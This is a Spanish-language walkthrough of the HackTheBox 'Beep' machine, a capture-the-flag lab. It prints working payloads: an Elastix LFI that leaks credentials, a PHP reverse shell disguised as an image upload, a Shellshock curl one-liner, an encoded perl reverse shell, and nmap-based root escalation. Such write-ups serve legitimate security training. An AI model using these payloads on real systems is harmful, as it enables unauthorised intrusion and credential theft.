HTB Beep

¡Hola! En esta ocasión vamos a resolver de la máquina beep de HackTheBox. La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre beep y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

mkhack beep
cd !$/recon 

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

osping 10.10.10.7

[*] Detectando sistema operativo ...

[+] 10.10.10.7 ttl=63 >> Linux

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.7 -oG ports | grep open
#Resultados
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
443/tcp   open  https
880/tcp   open  unknown
993/tcp   open  imaps
995/tcp   open  pop3s
3306/tcp  open  mysql
4190/tcp  open  sieve
4445/tcp  open  upnotifyp
4559/tcp  open  hylafax
5038/tcp  open  unknown
10000/tcp open  snet-sensor-mgmt

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

nmap -p22,25,80,110,111,143,443,880,993,995,3306,4190,4445,4559,5038,10000 -sCV 10.10.10.7 -oN versions
#Resultados
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp    open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp    open  http       Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp   open  pop3?
111/tcp   open  rpcbind    2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            877/udp   status
|_  100024  1            880/tcp   status
143/tcp   open  imap?
443/tcp   open  ssl/https?
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after:  2018-04-07T08:22:08
|_ssl-date: 2022-08-12T04:36:17+00:00; +4h48m04s from scanner time.
880/tcp   open  status     1 (RPC #100024)
993/tcp   open  imaps?
995/tcp   open  pop3s?
3306/tcp  open  mysql      MySQL (unauthorized)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
4190/tcp  open  sieve?
4445/tcp  open  upnotifyp?
4559/tcp  open  hylafax?
5038/tcp  open  asterisk   Asterisk Call Manager 1.1
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)
|_http-server-header: MiniServ/1.570
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Host: 127.0.0.1

Host script results:
|_clock-skew: 4h48m03s

RECONOCIMIENTO WEB

Iniciamos con el reconocimiento del puerto 80 por medio de la utilidad whatweb para identificar software que sea potencialmente vulnerable o de utilidad para nosotros.

whatweb 10.10.10.7
#Resultados
http://10.10.10.7 [302 Found] Apache[2.2.3], Country[RESERVED][ZZ], HTTPServer[CentOS][Apache/2.2.3 (CentOS)], IP[10.10.10.7], RedirectLocation[https://10.10.10.7/], Title[302 Found]

Inspeccionando las peticiones podemos ver un panel de login con el servicio elastix.

Vamos a realizar fuzzing por medio de wfuzz, esta vez para encontrar rutas con posible contenido que pueda ser útil.

wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt httpS://10.10.10.7/FUZZ
#Resultados
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                 
=====================================================================
000000047:   301        9 L      28 W       308 Ch      "help"                     
000000131:   301        9 L      28 W       311 Ch      "modules"    
000000002:   301        9 L      28 W       310 Ch      "images"                   
000000187:   301        9 L      28 W       308 Ch      "mail"                    
000000113:   301        9 L      28 W       310 Ch      "themes"
000000245:   301        9 L      28 W       309 Ch      "admin"
000000255:   301        9 L      28 W       310 Ch      "static"
000001184:   301        9 L      28 W       308 Ch      "lang"
000004689:   301        9 L      28 W       307 Ch      "var"
000005506:   301        9 L      28 W       309 Ch      "panel"

Al revisar los directorios, podemos identificar diferentes rutas que exponen la información sensible de los servicios encontrados, sin embargo, no se tiene éxito al conseguir una posible credencial del portal inicial, por tal razón buscamos exploits públicos que puedan tener relación con el servicio encontrado.

searchsploit elastix
#Resultados
Elastix 2.2.0 - 'graph.php' Local File Inclusion | php/webapps/37637.pl

Se detecta el siguiente exploit que logra una exposición de información sensible a través del aprovechamiento por LFI o local file inclusión, el cual se identifica explorando el exploit encontrado.

searchsploit -x php/webapps/37637.pl
#Payload de explotación
/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

El siguiente paso es ejecutar lo anterior junto con nuestro objetivo en el navegador, de la siguiente manera.

https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

Esta máquina es bastante interesante por las diferentes maneras de llegar a realizar una intrusión en estos ejercicios, a continuación, vamos a ver algunas de estas.

INTRUSION + ESCALADA DE PRIVILEGIOS SSH

Iniciamos con SSH, debido a que tenemos acceso a contraseñas que pueden ser reutilizadas para acceder a la máquina por parte de un usuario administrador, así que básicamente vamos a ingresar con las credenciales que encontramos anteriormente y tenemos directamente acceso a una shell interactiva como usuario root.

ssh root@10.10.10.7
#Resultado
Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@10.10.10.7
root@10.10.10.7's password: 
Last login: Tue Jul 16 11:45:47 2019

Welcome to Elastix 
----------------------------------------------------

To access your Elastix System, using a separate workstation (PC/MAC/Linux)
Open the Internet Browser using the following URL:
http://10.10.10.7

[root@beep ~]# whoami
root

INTRUSION VTIGER

La segunda intrusión se lleva por medio del ataque por LFI, toda vez que, es identificado el servicio vtiguer como primera carpeta del payload ejecutado.

Logramos un acceso a un nuevo portal, por lo que vamos a probar las credenciales obtenidas, teniendo total capacidad de navegar en el servicio web.

Realizamos la búsqueda de posibles vías de explotación en el portal, logrando ingresar a los detalles de la organización.

En esta sección es posible subir archivos de extensión JGP, por lo que se procede a generar una shell en PHP de extensión JGP de la siguiente manera.

vim shell.php.jgp
<?php
	system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4564 >/tmp/f")
?>

Guardamos la shell y subimos el contenido donde se almacena la imagen de la organización, no sin antes ponernos en escucha por el puerto que asignamos en la shell.php.jgp.

nc -lnvp 4564

Guardamos el archivo en la web y obtenemos una shell interactiva con el usuario asterisk

sh-3.2$ whoami
asterisk

INTRUSION WEBMIN

Ingresamos al servicio alojado en el puerto 10000 y automáticamente detectamos una extensión CGI, lo que presuntamente puede ocasionar un ataque por shellshock, en esta ocasión la contraseña funcionó con el usuario root así como sucedió en la intrusión por SSH, logrando un mayor grado de enumeración de la máquina víctima.

Nos ponemos en escucha por medio de un listener.

nc -lnvp 4564

Ejecutamos el siguiente comando, habilitando comunicaciones con cifrados débiles y entablando una reverse shell por medio de una ejecución remota de comandos en el script session_login.cgi como el usuario root.

curl --tlsv1.0 -sk -X GET "https://10.10.10.7:10000/session_login.cgi" -H "User-Agent: () { :; };echo;echo; /bin/bash -i >& /dev/tcp/10.10.14.3/4564 0>&1"
[root@beep webmin]# whoami
root

INTRUSION 18650.py

Otro de los exploits públicos para elastix es ocasionado por una ejecución remota de comandos, por lo que vamos a utilizar el exploit 18650.py para esta intrusión.

searchsploit elastix
#Resultados
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution | php/webapps/18650.py

Descargamos el exploit.

searchsploit -m php/webapps/18650.py

Este script de explotación requiere de 4 datos:

  • RHOST
  • LHOST
  • LPORT
  • EXTENSIÓN

El único dato que no conocemos es el número de extensión, por lo que vamos a hacer uso de la utilidad svwar para identificar la posible o posibles extensiones configuradas en la máquina.

svwar -m INVITE -e100-999 10.10.10.7
#Resultados
+-----------+----------------+
| Extension | Authentication |
+===========+================+
| 233       | reqauth        |
+-----------+----------------+

Modificamos el script con los datos solicitados anteriormente.

vim 18650.py
  rhost="10.10.10.7"
  lhost="10.10.14.3"
  lport=4564
  extension="233"

Para este ejercicio debemos configurar el archivo /etc/ssl/openssl.cnf para lograr comunicaciones por cifrados débiles de la siguiente manera.

sudo vim /etc/ssl/openssl.cnf
#MODIFICAR AL FINAL DEL ARCHIVO
#MinProtocol = DEFAULT@SECLEVEL=2
MinProtocol = None
#CipherString = DEFAULT@SECLEVEL=2
CipherString = None

Nos ponemos ahora si en escucha.

nc -lnvp 4564

Ejecutamos el script con python2

python2 18650.py

Obtenemos una shell con el usuario asterisk

connect to [10.10.14.3] from (UNKNOWN) [10.10.10.7] 37775
whoami
asterisk

INTRUSION PAYLOAD DE 18650.py

Lo que realizamos es una variante del script anterior, detectando el tipo de solicitud que realiza a nivel web y modificando cada uno de los parámetros, agregando los permisos de ejecutar peticiones con cifrados débiles.

Creamos un listener.

nc -lnvp 4564

Ejecutamos la petición modificada.

curl --ciphers DEFAULT@SECLEVEL=1 --tlsv1.0 -k "https://10.10.10.7/recordings/misc/callme_page.php?action=c&callmenum=233@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%2210.10.14.3%3a4564%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A"

Obtenemos una shell con el usuario asterisk.

connect to [10.10.14.3] from (UNKNOWN) [10.10.10.7] 60412
whoami
asterisk

ESCALADA DE PRIVILEGIOS

Una vez que tenemos acceso a la máquina, realizamos el escalamiento de privilegios, en este caso, revisando los permisos a nivel de sudo.

sudo -l
#Resultados
User asterisk may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/nmap
    (root) NOPASSWD: /usr/bin/yum
    (root) NOPASSWD: /sbin/service

NOTA: Intenta realizar la escalada por cualquiera de estos 3 permisos a modo de ejercicio.

Se identifica que es posible ejecutar el comando /usr/bin/nmap con privilegios, por lo que vamos a hacer uso del escalamiento de GTFObins obteniendo acceso al usuario root.

sudo nmap --interactive
#Resultados
Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root

FLAGS

Una vez tenemos acceso a la máquina, tenemos la posibilidad de leer la flag user y root

#USER
find / -name user.txt 2>/dev/null | xargs head -c 10; echo
52143a2a96
#ROOT
find / -name root.txt 2>/dev/null | xargs head -c 10; echo
a896454076

¡Hemos logrado completar la máquina beep de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit..